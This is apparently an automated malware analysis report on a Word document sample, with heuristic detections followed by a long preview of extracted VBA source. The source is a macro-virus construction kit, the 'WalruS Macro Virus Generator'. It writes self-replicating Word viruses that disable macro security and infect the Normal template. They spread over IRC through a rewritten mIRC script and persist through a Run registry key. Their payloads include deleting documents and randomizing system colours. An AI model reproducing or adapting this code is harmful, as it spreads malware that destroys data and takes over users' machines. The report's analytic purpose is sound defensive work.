Malware Insights
This document contains legacy WordBasic macro-virus markers and extensive VBA code, including AutoOpen, Document_Open, and AutoClose events, indicating a self-replicating and potentially destructive macro. The presence of WScript.Shell and CreateObject calls, along with a Shell() function, strongly suggests the execution of arbitrary commands or scripts. The script attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy, and it also references an embedded URL, http://www.WalruS.8k.com, which is likely used to download additional malicious content.
Heuristics 12
-
Raw OLE macro text shows self-replication or security tampering critical OLE_RAW_MACRO_SELF_REPLICATIONOLE streams contain macro source text with auto-run entry points, CreateObject automation, CodeModule AddFromString/InsertLines/DeleteLines behavior, and Outlook or macro-security tampering. This is high-confidence macro-virus behavior even when oletools does not recover a standard VBA project.
-
ClamAV: Doc.Trojan.Fool-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Fool-3
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Print #1, "Options.BlueScreen = True" Print #1, "MyApp = Shell(""notepad.exe"", 1)" Print #1, "SendKeys ""Hello there!~~Im the WalruS. Welcome To My New Creation - Furio~~~///0-0\\\ WalruS 09/00"", True" -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Print #1, "Print #1, ""Dim WSHShell""" Print #1, "Print #1, ""Set WSHShell = WScript.CreateObject(""""WScript.Shell"""")""" Print #1, "Print #1, ""Set Backup = WScript.CreateObject(""""Word.Application"""")""" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Print #1, "Print #1, ""Dim WSHShell""" Print #1, "Print #1, ""Set WSHShell = WScript.CreateObject(""""WScript.Shell"""")""" Print #1, "Print #1, ""Set Backup = WScript.CreateObject(""""Word.Application"""")""" -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Print #1, "" Print #1, "Sub AutoOpen()" Print #1, "'FoolsGold 2000 Virus vWMVG" -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
If OptionButton1.Value = True Then Print #1, "Private Sub Document_Open()" End If -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
' Best Clean The Template Before We Go Sub AutoClose() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.WalruS.8k.com� In document text (OLE body)
- http://www.WalruS.8k.comIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 63490 bytes |
SHA-256: c75f90dcb362f32766f218f80e1a6ff414dd2224eb9c921eff813b681433ce12 |
|||
|
Detection
ClamAV:
Win.Trojan.Nihilit-6
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "WMVG"
Attribute VB_Base = "0{5594AFFE-69AE-40C6-ADFC-D6B58CFC1B8F}{C06C6F37-2480-4CBE-AA2E-D8EF61A91B37}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' ************************************
' WalruS Macro Virus Generator (WMVG)
' Version 1.10
' By The WalruS 03/01
' ************************************
' Help Buttons
Private Sub CommandButton1_Click()
MsgBox "The Virus Will Infect When The Document Is Opened", vbInformation, "WMVG"
End Sub
Private Sub CommandButton10_Click()
MsgBox "The Virus Payload Will Be A Simple Message Box", vbInformation, "WMVG"
End Sub
Private Sub CommandButton11_Click()
MsgBox "The Virus Payload Will Be To Give Word Hiccups :-)", vbInformation, "WMVG"
End Sub
Private Sub CommandButton12_Click()
MsgBox "The Virus Payload Will Be To Open & Close The CD Tray Continously", vbInformation, "WMVG"
End Sub
Private Sub CommandButton13_Click()
MsgBox "The Virus Payload Will Change The Windows" & vbCr & "System Colours Until The PC Is Rebooted", vbInformation, "WMVG"
End Sub
Private Sub CommandButton14_Click()
MsgBox "The Virus Payload Will Delete The Document Being Viewed." & vbCr & Application.UserName & " Is An Evil Bastard ;-)", vbInformation, "WMVG"
End Sub
Private Sub CommandButton15_Click()
MsgBox "The Virus Payload Will Be To Make The Office Assistant Say A Message", vbInformation, "WMVG"
End Sub
Private Sub CommandButton17_Click()
OptionButton15.Value = True
WMVG.Hide
WMVGPayloadAssistant.Show
End Sub
Private Sub CommandButton19_Click()
OptionButton10.Value = True
WMVG.Hide
WMVGPayloadMsg.Show
End Sub
Private Sub CommandButton2_Click()
MsgBox "The Virus Will Infect When The Document Is Closed", vbInformation, "WMVG"
End Sub
Private Sub CommandButton32_Click()
MsgBox "The Virus Will Be Able To Spread On IRC As A Worm", vbInformation, "WMVG"
End Sub
Private Sub CommandButton33_Click()
MsgBox "The Virus Wont Be Able To Spread On IRC!", vbInformation, "WMVG"
End Sub
Private Sub CommandButton48_Click()
MsgBox "The Virus Will Be Backed Up On Reboot" & vbCr & "Therefore Making It Harder To Get Rid Off", vbInformation, "WMVG"
End Sub
Private Sub CommandButton49_Click()
MsgBox "The Virus Wont Have VBS Backup!", vbInformation, "WMVG"
End Sub
Private Sub CommandButton5_Click()
MsgBox "The Virus Wont Have Any Stealth", vbInformation, "WMVG"
End Sub
Private Sub CommandButton6_Click()
MsgBox "The Virus Will Have Limited Stealth" & vbCr & "It Will Disable Alt-F11 Key Presses", vbInformation, "WMVG"
End Sub
Private Sub CommandButton62_Click()
MsgBox "The Payload Runs On A Date Set By You", vbInformation, "WMVG"
End Sub
Private Sub CommandButton63_Click()
MsgBox "The Payload Runs At Random", vbInformation, "WMVG"
End Sub
Private Sub CommandButton65_Click()
MsgBox "The Payload Runs Everytime The Documents Infection Hook Is Run", vbInformation, "WMVG"
End Sub
Private Sub CommandButton72_Click()
OptionButton58.Value = True
WMVG.Hide
WMVGPayloadDate.Show
End Sub
Private Sub CommandButton73_Click()
WMVG.Hide
WMVGExit.Show
End Sub
Private Sub CommandButton74_Click()
WMVG.Hide
WMVGAbout.Show
End Sub
Private Sub CommandButton75_Click()
' Extras
WMVG.Hide
WMVGExtras.Show
End Sub
Private Sub CommandButton76_Click()
' Generate
Call GenerateClassVirus
End Sub
Private Sub CommandButton77_Click()
MsgBox "The Virus Copies Its Code Directly Using String Copy", vbInformation, "WMVG"
End Sub
Private Sub CommandButton78_Click()
MsgBox "The Virus Copies Its Code To A File And Infects From There", vbInformation, "WMVG"
End Sub
Private Sub CommandButton79_Click()
OptionButton59.Value = True
WMVG.Hide
WMVGPayloadRandom.Show
End Sub
Private Sub CommandButton80_Click()
MsgBox "Enter Your Own Payload Code", vbInformation, "WMVG"
End Sub
Private Sub CommandButton81_Click()
OptionButton67.Value = True
WMVG.Hide
WMVGPayloadPlugin.Show
End Sub
Private Sub CommandButton82_Click()
MsgBox "The Virus Will Have Random Noise Added To It" & vbCr & "This Will Make The Virus More Unique And Harder To Detect", vbInformation, "WMVG"
End Sub
Private Sub CommandButton83_Click()
MsgBox "The Source Code Will Be Generated In" & vbCr & "C:\My Documents", vbInformation, "WMVG"
End Sub
Private Sub CommandButton9_Click()
MsgBox "The Virus Wont Have A Payload", vbInformation, "WMVG"
End Sub
Private Sub OptionButton77_Click()
MsgBox "The Virus Will Have Visual Basic Script Backup On Reboot", vbInformation, "WMVG"
End Sub
Private Sub OptionButton78_Click()
MsgBox "The Virus Wont Have VBS Backup", vbInformation, "WMVG"
End Sub
Private Sub TextBox1_Change()
End Sub
Private Sub GenerateClassVirus()
' Generate The Variables
Call WallysVariableNameGenerator(Variable1, Variable2, Variable3, Variable4, Variable5, Variable6)
' Check Infect On For Error
If OptionButton1.Value = OptionButton2.Value Then
MsgBox "Please Select An Infection Method", vbInformation, "Doh!"
GoTo EndSub
End If
' Check Infection Type For Error
If OptionButton65.Value = OptionButton66.Value Then
MsgBox "Please Select The Infection Method", vbInformation, "One Or The Other"
GoTo EndSub
End If
' Make Sure Stealth Is Not Flagged
If OptionButton5.Value Or OptionButton6.Value = True Then
Stealth = "Good"
End If
' Check Stealth For Error
If Stealth = "Error" Then
MsgBox "Please Select The Stealth Level", vbInformation, "Doh!"
GoTo EndSub
End If
' Check Infect IRC For Error
If OptionButton28.Value = OptionButton29.Value Then
MsgBox "Please State If IRC Spreading Is Required", vbInformation, "Wake Up!"
GoTo EndSub
End If
' Check VBS Backup For Error
If OptionButton44.Value = OptionButton45.Value Then
MsgBox "Please State If VBS Backup Is Required", vbInformation, "You A Script Kiddie?"
GoTo EndSub
End If
' Virus Author
VirusAuthor = TextBox1.Text
' Check Virus Author For Error
If TextBox1 = "" Then
MsgBox "Please Enter Virus Authors Name", vbInformation, "Dont Ya Know Yer Name!"
GoTo EndSub
End If
' Virus Name
VirusName = TextBox2.Text
' Check Virus Name For Error
If TextBox2.Text = "" Then
MsgBox "Please Enter The Virus Name", vbInformation, "Christen It Then!"
GoTo EndSub
End If
' Virus Payload
If OptionButton9.Value = True Then
Payload = False
PayloadTrigger = False
OptionButton58.Value = False
OptionButton59.Value = False
OptionButton60.Value = False
End If
If OptionButton10.Value Or OptionButton11.Value Or OptionButton12.Value Or OptionButton13.Value Or OptionButton14.Value Or OptionButton15.Value Or OptionButton67.Value = True Then Payload = True
' Check Payload For Error
If Payload = Error Then
MsgBox "Please Select Whether A Payload Is Required Or Not", vbInformation, "Get With It"
GoTo EndSub
End If
' Payload Trigger
If OptionButton58.Value Or OptionButton59.Value Or OptionButton60.Value = True Then PayloadTrigger = True
' Check Payload Trigger For Error
If Payload = True And PayloadTrigger = False Then
MsgBox "Please Select A Payload Trigger Or Select No Payload", vbInformation, "Make Yer Mind Up"
GoTo EndSub
End If
' Check To Ensure Month Is Entered If Date Has Been Selected
If OptionButton58.Value = True And PayloadMonth = 0 Then
MsgBox "Please Select A Valid Month Or Select Another Trigger", vbInformation, "Idiot"
GoTo EndSub
End If
' Check To Ensure Day Is Entered If Date Has Been Selected
If OptionButton58.Value = True And PayloadDay = 0 Then
MsgBox "Please Select A Valid Day Or Select Another Trigger", vbInformation, "Idiot"
GoTo EndSub
End If
' Check Random No Has Been Entered If Random Has Been Selected
If OptionButton59.Value = True And RandomTrigger = 0 Then
MsgBox "Please Select A Random Number For The Random Payload", vbInformation, "Random Insult Required"
GoTo EndSub
End If
' Check Message Has Been Entered If Message Payload Has Been Selected
If OptionButton10.Value = True And PayloadMsgText = "" Then
MsgBox "Please Enter A Message Or Select A Different Payload", vbInformation, "Message Required"
GoTo EndSub
End If
' Check Message Type Has Been Entered If Message Payload Has Been Selected
If OptionButton10.Value = True And PayloadMsgType = "Error" Then
MsgBox "Please Enter A Message Type Or Select A Different Payload", vbInformation, "Message Required"
GoTo EndSub
End If
' Check That Payload Plug Has Been Entered
If OptionButton67.Value = True And PayloadPlugin = "Error" Then
MsgBox "Please Enter The Code For The Plugin Payload", vbInformation, "Plugin In Code Required"
GoTo EndSub
End If
' Check That Assistants Message Has Been Entered
If OptionButton15.Value = True And PayloadAssistantMessage = "" Then
MsgBox "Please Enter The Assistants Message Or Select A Different Payload", vbInformation, "Paperclips Words Please"
GoTo EndSub
End If
' Check For Virus Of Same Name
Exists = Dir(Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls")
If Exists <> "" Then
MsgBox VirusName & " Already Exists" & vbCr & "Please Select Another Name Or Delete" & vbCr & "C:\My Documents\" & VirusName, vbExclamation, "WMVG"
GoTo EndSub
End If
' Open source file for construction
Open Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls" For Append As #1
' Marker
Print #1, "'" ' Marker
' CD Tray Payload Declare
If Payload = True And OptionButton11.Value = True Then
Print #1, "Private Declare Function mciSendString Lib ""winmm.dll"" Alias ""mciSendStringA"" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long"
End If
' Colours Payload Declare
If Payload = True And OptionButton13.Value = True Then
Print #1, "Private Declare Function SetSysColors Lib ""user32"" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long"
End If
' Infection Hook 1 (Open)
If OptionButton1.Value = True Then
Print #1, "Private Sub Document_Open()"
End If
' Infection Hook 2 (Close)
If OptionButton2.Value = True Then
Print #1, "Private Sub Document_Close()"
End If
Call MacroNoiseEngine ' Noise
' Error Handler
Print #1, "On Error Resume Next"
Print #1, ""
' Virus Details
Print #1, "' Virus Name : " & VirusName
Print #1, "' VirusAuthor : " & VirusAuthor
Print #1, "' Comments : " & TextBox3.Text
Print #1, "' Date : " & Day(Now) & "/" & Month(Now) & "/" & Year(Now)
Print #1, ""
Print #1, "' A Virus Created By The WalruS Macro Virus Generator v1.00 (WMVG)"
Print #1, ""
Call MacroNoiseEngine ' Noise
' Word Options
Print #1, "With Options"
Print #1, " .VirusProtection = 0"
Print #1, " .SaveNormalPrompt = 0"
Print #1, " .ConfirmConversions = 0"
Print #1, "End With"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "Application.DisplayStatusBar = False"
Call MacroNoiseEngine ' Noise
Print #1, "ActiveDocument.ReadOnlyRecommended = False"
Call MacroNoiseEngine ' Noise
Print #1, "System.PrivateProfileString("""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security"", ""Level"") = 1&"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, " CommandBars(""Macro"").Controls(""Security..."").Enabled = False"
Call MacroNoiseEngine ' Noise
' Stealth Settings
If OptionButton6.Value = True Then
Print #1, "KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyAlt, wdKeyF11), KeyCategory:=0, Command:="" """
End If
Call MacroNoiseEngine ' Noise
Print #1, "Set " & Variable1 & " = NormalTemplate.VBProject.VBComponents(1).codemodule"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "Set " & Variable2 & " = ActiveDocument.VBProject.VBComponents(1).codemodule"
' Infection Routine No 1 (More To Be Added) Variable1 = nor Variable2 = doc
If OptionButton65.Value = True Then
Print #1, "If " & Variable1 & ".Lines(1, 1) <> ""'"" Then"
Call MacroNoiseEngine ' Noise
Print #1, Variable1 & ".DeleteLines 1, " & Variable1 & ".CountOfLines"
Call MacroNoiseEngine ' Noise
Print #1, Variable1 & ".InsertLines 1, " & Variable2 & ".Lines(1, " & Variable2 & ".CountOfLines)"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "ElseIf " & Variable2 & ".Lines(1, 1) <> ""'"" Then"
Call MacroNoiseEngine ' Noise
Print #1, Variable2 & ".DeleteLines 1, " & Variable2 & ".CountOfLines"
Call MacroNoiseEngine ' Noise
Print #1, Variable2 & ".InsertLines 1, " & Variable1 & ".Lines(1, " & Variable1 & ".CountOfLines)"
Call MacroNoiseEngine ' Noise
Print #1, "ActiveDocument.Save"
Call MacroNoiseEngine ' Noise
Print #1, "End If"
Call MacroNoiseEngine ' Noise
End If
' Infection Routine No 2 (More To Be Added) Variable1 = nor Variable2 = doc
If OptionButton66.Value = True Then
Print #1, "Open ""C:\Windows\"" & Application.Username & "".sys"" For Output As #1"
Call MacroNoiseEngine ' Noise
Print #1, "Print #1, VBProject.VBComponents(1).codemodule.Lines(1, 150)"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "Close #1"
Print #1, "If " & Variable1 & ".Lines(1, 1) <> ""'"" Then"
Call MacroNoiseEngine ' Noise
Print #1, Variable1 & ".DeleteLines 1, " & Variable1 & ".CountOfLines"
Call MacroNoiseEngine ' Noise
Print #1, Variable1 & ".AddFromFile (""C:\Windows\"" & Application.Username & "".sys"")"
Print #1, "NormalTemplate.Save"
Print #1, "ElseIf " & Variable2 & ".Lines(1, 1) <> ""'"" Then"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, Variable2 & ".DeleteLines 1, " & Variable2 & ".CountOfLines"
Print #1, Variable2 & ".AddFromFile (""C:\Windows\"" & Application.Username & "".sys"")"
Print #1, "ActiveDocument.Save"
Print #1, "End If"
End If
' WallyS Lamer Detector
Print #1, "Set " & Variable3 & " = " & Variable4
' Infect IRC
If OptionButton28.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "If System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\WalruS\WMVG"", ""Installed"") <> ""True"" Then"
Call MacroNoiseEngine ' Noise
Print #1, "exists = Dir(""c:\mirc\mirc32.exe"")"
Print #1, "If exists = """" Then"
Call MacroNoiseEngine ' Noise
Print #1, "Exit Sub"
Print #1, "Else"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "dropped = Dir(""c:\mirc\download\ReadMe.doc"")"
Print #1, "If dropped = """" Then ActiveDocument.SaveAs ""c:\mirc\download\ReadMe.doc"""
Call MacroNoiseEngine ' Noise
Print #1, "Kill ""c:\mirc\script.ini"""
Print #1, "Open ""c:\mirc\script.ini"" For Output As #1"
Print #1, "Print #1, ""[script]"""
Print #1, "Print #1, ""n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\ReadMe.doc }"""
Print #1, "Print #1, ""n1=on 1:CONNECT: {"""
Print #1, "Print #1, ""n2= /join #virus """
Print #1, "Print #1, ""n3= /msg #virus Im Infected With A Virus Created By WMVG"""
Print #1, "Print #1, ""n4= /part #virus"""
Print #1, "Print #1, ""n5= /clear"""
Print #1, "Print #1, ""n6= /motd"""
Print #1, "Print #1, ""n7= }"""
Print #1, "Close #1"
Print #1, "End If"
Call MacroNoiseEngine ' Noise
Print #1, "End If"
End If
' VBS Backup
If OptionButton44.Value = True Then
Print #1, "If System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\WalruS\WMVG"", ""Installed"") <> ""True"" Then"
Call MacroNoiseEngine ' Noise
Print #1, "Open ""C:\Windows\Backup.drv"" For Output As #1"
Print #1, "Print #1, VBProject.VBComponents(1).CodeModule.Lines(1, 100)"
Print #1, "Close #1"
Print #1, "System.PrivateProfileString("""", ""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"", ""WMVG"") = ""C:\Windows\Backup.vbs"""
Print #1, "Open ""C:\Windows\Backup.vbs"" For Output As #1"
Print #1, "Print #1, ""' Backup.vbs for WMVG by The WalruS"""
Print #1, "Print #1, ""On Error Resume Next"""
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "Print #1, ""Dim WSHShell"""
Print #1, "Print #1, ""Set WSHShell = WScript.CreateObject(""""WScript.Shell"""")"""
Print #1, "Print #1, ""Set Backup = WScript.CreateObject(""""Word.Application"""")"""
Print #1, "Print #1, ""Backup.Options.VirusProtection = False"""
Print #1, "Print #1, ""Backup.Options.SaveNormalPrompt = False"""
Call MacroNoiseEngine ' Noise
Print #1, "Print #1, ""For x = 1 To Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"""
Print #1, "Print #1, ""Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1"""
Print #1, "Print #1, ""Next"""
Print #1, "Print #1, ""Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile (""""C:\Windows\Backup.drv"""")"""
Call MacroNoiseEngine ' Noise
Print #1, "Print #1, ""Backup.Application.Quit"""
Print #1, "Close #1"
Print #1, "End If"
End If
' Payload PayloadDay = Every Day
If OptionButton58.Value = True And PayloadDay = 99 Then
Call MacroNoiseEngine ' Noise
Print #1, "If Month(Now) = " & PayloadMonth & " Then Call " & Variable6
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
End If
' Payload PayloadMonth = Every Month
If OptionButton58.Value = True And PayloadMonth = 99 Then
Call MacroNoiseEngine ' Noise
Print #1, "If Day(Now) = " & PayloadDay & " Then Call " & Variable6
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
End If
' Payload Trigger 1 (Date)
If OptionButton58.Value = True And PayloadMonth <> 99 And PayloadDay <> 99 Then
Call MacroNoiseEngine ' Noise
Print #1, "If Month(Now) = " & PayloadMonth & " And Day(Now) = " & PayloadDay & " Then Call " & Variable6
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
End If
' Payload Trigger 2 (Random)
If OptionButton59.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "Trigger = Int(Rnd * " & RandomTrigger & ")"
Call MacroNoiseEngine ' Noise
Print #1, "If Trigger = 3 Then Call " & Variable6
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
End If
' Payload Trigger 3 (Every Run)
If OptionButton60.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "Call " & Variable6
Call MacroNoiseEngine ' Noise
End If
Print #1, "End Sub"
' Payload
If Payload = True Then
Print #1, "Private Sub " & Variable6 & " ()"
Call MacroNoiseEngine ' Noise
Print #1, "On Error Resume Next"
End If
' Payload 1 (Message Box)
If OptionButton10.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "MsgBox """ & PayloadMsgText & """" & ", " & PayloadMsgType & ", " & """" & VirusName & """"
End If
' Payload 2 (CD Tray)
If OptionButton11.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "Do"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "mciSendString ""set cd door open"", 0, 0, 0: mciSendString ""set cd door closed"", 0, 0, 0: mciSendString ""set cd time format tmsf wait"", 0, 0, 0: mciSendString ""open cdaudio alias cd wait shareable"", 0, 0, 0"
Call MacroNoiseEngine ' Noise
Print #1, "Loop"
End If
' Payload 3 (Colours)
If OptionButton13.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "a = SetSysColors(1, 1, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 2, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 3, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 4, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 5, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 6, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 7, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 8, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 9, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 10, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 11, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 12, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 13, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 14, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 15, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 16, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 17, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 18, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 19, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 20, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 21, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 22, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 23, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 24, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 25, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 26, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Print #1, "a = SetSysColors(1, 27, RGB(Rnd * 255, Rnd * 255, Rnd * 255))"
Call MacroNoiseEngine ' Noise
End If
' Payload 4 (Hiccups)
If OptionButton12.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "Do"
Print #1, "DoEvents"
Call MacroNoiseEngine ' Noise
Print #1, "Randomize"
Call MacroNoiseEngine ' Noise
Print #1, "If Int(Rnd * 10000) = 2 Then"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMinimize"
Call MacroNoiseEngine ' Noise
Print #1, "Word.ActiveDocument.ActiveWindow.WindowState = wdWindowStateMaximize"
Call MacroNoiseEngine ' Noise
Print #1, "End If"
Print #1, "Loop"
End If
' Payload 5 (KillDoc)
If OptionButton14.Value = True Then
Call MacroNoiseEngine ' Noise
Print #1, "Selection.WholeStory"
Call MacroNoiseEngine ' Noise
Print #1, "Selection.Delete Unit:=wdCharacter, Count:=1"
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, "ActiveDocument.Save"
End If
' Payload 6 (Assistant)
If OptionButton15.Value = True Then
Print #1, "Assistant.Visible = True"
Call MacroNoiseEngine ' Noise
Print #1, "With Assistant.NewBalloon"
Print #1, ".Icon = msoIconAlert"
Call MacroNoiseEngine ' Noise
Print #1, ".Text = """ & PayloadAssistantMessage & """"
Print #1, ".Heading = """ & VirusName & """"
Call MacroNoiseEngine ' Noise
Print #1, ".Show"
Print #1, "End With"
End If
' Payload 7 (Plugin)
If OptionButton67.Value = True Then
Call MacroNoiseEngine ' Noise
Call MacroNoiseEngine ' Noise
Print #1, PayloadPlugin
Call MacroNoiseEngine ' Noise
End If
' Payload
If Payload = True Then
Print #1, "End Sub"
End If
Close #1
' Open document and then infect it, save it and close it
Documents.Add Template:=NormalTemplate.FullName, NewTemplate:=False
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromFile (Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls")
ActiveDocument.SaveAs (Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".doc")
ActiveDocument.Close
' Keep the source code?
If CheckBox1.Value = False Then
Kill Options.DefaultFilePath(wdDocumentsPath) & "\" & VirusName & ".cls"
End If
' Clean the normal template incase virus infected it
Clean = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Clean > 0 Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Clean
NormalTemplate.Save
' Hide this form
WMVG.Hide
' Tell the user that the vxs is made
MsgBox VirusName & " Has Been Created In " & Options.DefaultFilePath(wdDocumentsPath), vbInformation, "Heya " & Application.UserName & "..."
' Show Virus Created Form
WMVGVirusCreated.Show
EndSub:
End Sub
' My Variable Name Generator
Private Sub WallysVariableNameGenerator(Variable1, Variable2, Variable3, Variable4, Variable5, Variable6)
Randomize
Variable1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
Variable2 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
Variable3 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
Variable4 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
Variable5 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
Variable6 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 9999)
End Sub
' My Noise Generator
' This Generator Contains Code Taken From "VicodinES Macro.Poppy Construction Kit v1.0d"
' Kewl
Sub MacroNoiseEngine()
Randomize
noisechance = Int(Rnd * 6)
select1 = Int(Rnd * 6)
select2 = Int(Rnd * 6)
select3 = Int(Rnd * 6)
select4 = Int(Rnd * 6)
select5 = Int(Rnd * 6)
select6 = Int(Rnd * 6)
encode1 = Int(Rnd * 9999)
encode2 = Int(Rnd * 9999)
encode3 = Int(Rnd * 9999)
crypt1 = Int(Rnd * 9999)
crypt2 = Int(Rnd * 9999)
